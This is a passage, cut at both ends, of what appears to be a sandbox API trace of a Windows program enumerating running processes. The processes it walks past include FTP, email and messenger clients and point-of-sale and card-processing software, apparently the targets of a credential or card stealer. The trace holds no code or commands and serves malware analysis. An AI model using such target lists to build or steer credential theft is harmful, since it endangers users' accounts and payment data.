lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.670] lstrlenW (lpString="svchost.exe") returned 11 [0145.670] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.671] lstrlenW (lpString="svchost.exe") returned 11 [0145.671] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.671] lstrlenW (lpString="svchost.exe") returned 11 [0145.671] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.672] lstrlenW (lpString="svchost.exe") returned 11 [0145.672] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.672] lstrlenW (lpString="svchost.exe") returned 11 [0145.672] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.672] lstrlenW (lpString="svchost.exe") returned 11 [0145.673] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.673] lstrlenW (lpString="svchost.exe") returned 11 [0145.673] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.673] lstrlenW (lpString="svchost.exe") returned 11 [0145.673] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0145.674] lstrlenW (lpString="audiodg.exe") returned 11 [0145.674] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0145.674] lstrlenW (lpString="sihost.exe") returned 10 [0145.674] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.675] lstrlenW (lpString="svchost.exe") returned 11 [0145.675] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0145.675] lstrlenW (lpString="taskhostw.exe") returned 13 [0145.675] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0145.675] lstrlenW (lpString="explorer.exe") returned 12 [0145.676] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0145.676] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0145.676] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0145.676] lstrlenW (lpString="Memory Compression") returned 18 [0145.676] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0145.677] lstrlenW (lpString="SearchUI.exe") returned 12 [0145.677] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0145.677] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0145.677] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0145.678] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0145.678] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.678] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0145.678] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0145.678] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0145.678] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0145.679] lstrlenW (lpString="migration dying locations.exe") returned 29 [0145.679] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0145.679] lstrlenW (lpString="college-advance.exe") returned 19 [0145.679] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0145.680] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0145.680] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0145.680] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0145.729] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0145.729] lstrlenW (lpString="metallic.exe") returned 12 [0145.729] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0145.730] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0145.730] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0145.730] lstrlenW (lpString="brown parade bases.exe") returned 22 [0145.730] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0145.731] lstrlenW (lpString="specified wales.exe") returned 19 [0145.731] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0145.731] lstrlenW (lpString="inspiration.exe") returned 15 [0145.731] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0145.732] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0145.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0145.732] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0145.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0145.732] lstrlenW (lpString="classbuck.exe") returned 13 [0145.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0145.733] lstrlenW (lpString="x-deutschland.exe") returned 17 [0145.733] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0145.733] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0145.733] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0145.734] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0145.734] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0145.734] lstrlenW (lpString="lawsuit.exe") returned 11 [0145.734] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0145.734] lstrlenW (lpString="3dftp.exe") returned 9 [0145.735] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0145.735] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0145.735] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0145.735] lstrlenW (lpString="alftp.exe") returned 9 [0145.735] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0145.736] lstrlenW (lpString="barca.exe") returned 9 [0145.736] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0145.736] lstrlenW (lpString="bitkinex.exe") returned 12 [0145.736] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0145.737] lstrlenW (lpString="coreftp.exe") returned 11 [0145.737] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0145.737] lstrlenW (lpString="far.exe") returned 7 [0145.738] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0145.738] lstrlenW (lpString="filezilla.exe") returned 13 [0145.738] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0145.739] lstrlenW (lpString="flashfxp.exe") returned 12 [0145.739] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0145.740] lstrlenW (lpString="fling.exe") returned 9 [0145.740] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0145.740] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0145.740] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0145.741] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0145.741] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0145.742] lstrlenW (lpString="icq.exe") returned 7 [0145.742] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0145.742] lstrlenW (lpString="leechftp.exe") returned 12 [0145.742] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0145.743] lstrlenW (lpString="ncftp.exe") returned 9 [0145.743] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0145.744] lstrlenW (lpString="notepad.exe") returned 11 [0145.744] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0145.745] lstrlenW (lpString="operamail.exe") returned 13 [0145.745] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0145.745] lstrlenW (lpString="outlook.exe") returned 11 [0145.749] CloseHandle (hObject=0x244) returned 1 [0145.749] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0145.749] lstrlenW (lpString="pidgin.exe") returned 10 [0145.749] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0145.750] lstrlenW (lpString="scriptftp.exe") returned 13 [0145.750] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0145.750] lstrlenW (lpString="skype.exe") returned 9 [0145.751] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0145.751] lstrlenW (lpString="smartftp.exe") returned 12 [0145.751] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0145.752] lstrlenW (lpString="thunderbird.exe") returned 15 [0145.752] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0145.752] lstrlenW (lpString="totalcmd.exe") returned 12 [0145.752] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0145.753] lstrlenW (lpString="trillian.exe") returned 12 [0145.753] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0145.754] lstrlenW (lpString="webdrive.exe") returned 12 [0145.754] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0145.754] lstrlenW (lpString="whatsapp.exe") returned 12 [0145.754] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0145.755] lstrlenW (lpString="winscp.exe") returned 10 [0145.755] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0145.755] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0145.755] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0145.756] lstrlenW (lpString="active-charge.exe") returned 17 [0145.756] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0145.757] lstrlenW (lpString="accupos.exe") returned 11 [0145.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0145.757] lstrlenW (lpString="afr38.exe") returned 9 [0145.757] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0145.758] lstrlenW (lpString="aldelo.exe") returned 10 [0145.758] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0145.758] lstrlenW (lpString="ccv_server.exe") returned 14 [0145.758] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0145.759] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0145.759] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, 